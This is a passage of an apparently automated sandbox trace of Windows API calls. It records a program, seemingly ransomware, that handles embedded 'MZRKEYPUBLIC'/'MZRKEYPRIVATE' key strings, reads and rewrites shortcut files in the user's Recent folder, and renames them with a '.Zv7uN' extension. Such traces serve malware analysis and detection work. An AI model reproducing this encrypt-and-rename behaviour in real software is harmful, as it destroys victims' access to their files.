sOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0079.107] GetCurrentThreadId () returned 0xa30 [0079.108] GetCurrentThreadId () returned 0xa30 [0079.108] GetCurrentThreadId () returned 0xa30 [0079.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f7512c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.122] GetCurrentThreadId () returned 0xa30 [0079.122] GetCurrentThreadId () returned 0xa30 [0079.122] GetCurrentThreadId () returned 0xa30 [0079.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-0cgImthwd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-0cgimthwd.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.188] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.188] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.188] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xeee [0079.188] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.189] ReadFile (in: hFile=0x124, lpBuffer=0x1f65970, nNumberOfBytesToRead=0xeee, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f65970*, lpNumberOfBytesRead=0x18f96c*=0xeee, lpOverlapped=0x0) returned 1 [0079.191] CloseHandle (hObject=0x124) returned 1 [0079.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-0cgImthwd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-0cgimthwd.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.194] WriteFile (in: hFile=0x124, lpBuffer=0x1f679a0*, nNumberOfBytesToWrite=0xeee, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f679a0*, lpNumberOfBytesWritten=0x18f978*=0xeee, lpOverlapped=0x0) returned 1 [0079.196] CloseHandle (hObject=0x124) returned 1 [0079.213] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-0cgImthwd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-0cgimthwd.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-0cgImthwd.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-0cgimthwd.lnk.zv7un")) returned 1 [0079.224] GetCurrentThreadId () returned 0xa30 [0079.224] GetCurrentThreadId () returned 0xa30 [0079.224] GetCurrentThreadId () returned 0xa30 [0079.224] GetCurrentThreadId () returned 0xa30 [0079.224] GetCurrentThreadId () returned 0xa30 [0079.224] GetCurrentThreadId () returned 0xa30 [0079.224] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3179e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3179e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="-CYi6R7bCvIz-.lnk", cAlternateFileName="-CYI6R~1.LNK")) returned 1 [0079.224] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.224] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-CYi6R7bCvIz-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-cyi6r7bcviz-.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3179e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3179e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa38)) returned 1 [0079.225] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-CYi6R7bCvIz-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-cyi6r7bcviz-.lnk")) returned 0x20 [0079.225] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-CYi6R7bCvIz-.lnk", dwFileAttributes=0x80) returned 1 [0079.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f758cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.229] GetCurrentThreadId () returned 0xa30 [0079.229] GetCurrentThreadId () returned 0xa30 [0079.229] GetCurrentThreadId () returned 0xa30 [0079.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 